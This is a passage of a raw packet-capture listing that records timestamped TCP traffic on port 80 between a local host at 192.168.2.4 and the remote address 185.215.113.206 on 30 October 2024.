Oct 30, 2024 20:13:06.351448059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.351463079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.351478100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.351511955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.351907015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.351974964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.431060076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.431147099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.431230068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.431263924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.431310892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.431310892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.431557894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.431591988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.431629896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.431643009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.431648016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.431678057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.431708097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.431752920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.432332993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.432363033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.432389021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.432398081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.432408094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.432434082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.432463884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.432471991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.432483912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.432529926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.433171988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.433204889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.433235884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.433258057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.433259964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.433295012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.433327913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.433353901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.433983088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.434015989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.434050083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.434055090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.434077978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.434087038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.434094906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.434139013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.467128992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.467240095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.467288971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.467345953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.467353106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.467391968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.467634916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.467669010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.467696905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.467700958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.467711926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.467746973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.467988014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.468022108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.468065977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.468441963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.468476057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.468477011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.468509912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.468525887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.468525887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.468552113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.468559027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.468594074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.468630075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.468650103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.469221115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.469290972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.511857986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.511919975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.511930943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.511966944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.512008905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.548469067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.548557997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.548613071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.548648119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.548702955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.548702955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.548968077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549001932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549026966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.549035072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549048901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.549072027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549086094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.549115896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.549817085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549849987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549876928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.549896002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.549900055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549932957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.549952030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.549983978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.550656080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.550689936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.550715923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.550724030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.550725937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.550781965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.551175117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.551224947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.551239014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.551260948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.551275015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.551311016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.551748991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.551783085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.551810980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.551834106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.584243059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.584367990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.584383011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.584402084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.584439039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.584455967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.584767103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.584800959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.584829092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.584857941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.585102081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.585136890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.585176945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.585176945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.585449934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.585517883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.585520029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.585556030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.585578918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.585597038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.585623026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.585658073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.586329937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.586381912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.586395979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.586431026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.629069090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.629127979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.629144907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.629162073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.629180908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.629223108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.665214062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.665307999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.665394068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.665427923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.665462971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.665482044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.665641069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.665673971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.665700912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.665708065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.665719986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.665743113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.665756941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.665788889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.666376114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.666435003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.666522026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.666568995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.666759968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.666795015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.666816950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.666831017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.666841984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.666883945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.667390108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.667423010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.667458057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.667459011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.667483091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.667495966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.667507887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.667615891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.668262005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.668297052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.668327093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.668330908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.668360949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.668365955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.668381929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.668400049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.668411970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.668450117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.669097900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.669154882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.669188976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.669217110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.701183081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.701261044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.701267958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.701281071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.701302052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.701323032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.701524019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.701548100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.701564074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.701581001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.701596975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.701627016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.701627970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.701627970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.702548981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.702565908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.702579975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.702594995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.702614069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.702642918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.702944040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.702959061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.702972889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.702994108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.703020096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.746280909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.746351957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.746351957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.746387005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.746403933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.746434927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.746695995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.746763945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.782414913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.782510042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.782511950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.782546043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.782567024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.782584906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.782847881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.782881975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.782907009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.782916069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.782927990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.782967091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.782975912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.783011913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.783591986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.783674955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.783709049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.783777952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.783926010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.783956051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.783989906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.783992052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.784015894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.784025908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.784034967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.784079075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.784574032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.784622908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.784656048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.784658909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.784673929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.784697056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.784701109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.784739017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.785408974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.785438061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.785470963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.785475016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.785499096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.785506964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.785521030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.785542011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.785581112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.785581112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.786183119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.786216974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.786233902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.786268950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.819286108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.819356918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.819382906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.819413900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.819425106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.819452047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.819763899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.819781065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.819811106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.819839954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.820099115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.820115089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.820147038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.820194960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.820498943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.820514917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.820529938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.820559025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.820591927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.820956945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.820972919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.820986986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.821002007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.821007013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.821036100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.863333941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.863430023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.863446951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.863455057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.863501072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.863501072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.863832951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.863848925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.863873959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.863919973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.899492979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.899569035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.899574995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.899624109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.899629116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.899658918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.899683952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.899698973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.899921894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.899956942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.899993896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.900013924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900013924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900070906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900293112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.900330067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.900357962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900391102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900547981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.900582075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.900608063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900635958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900882959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.900917053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.900944948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.900974989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.901072025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.901129961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.901276112 CET	80	49730	185.215.113.206	192.168.2.4
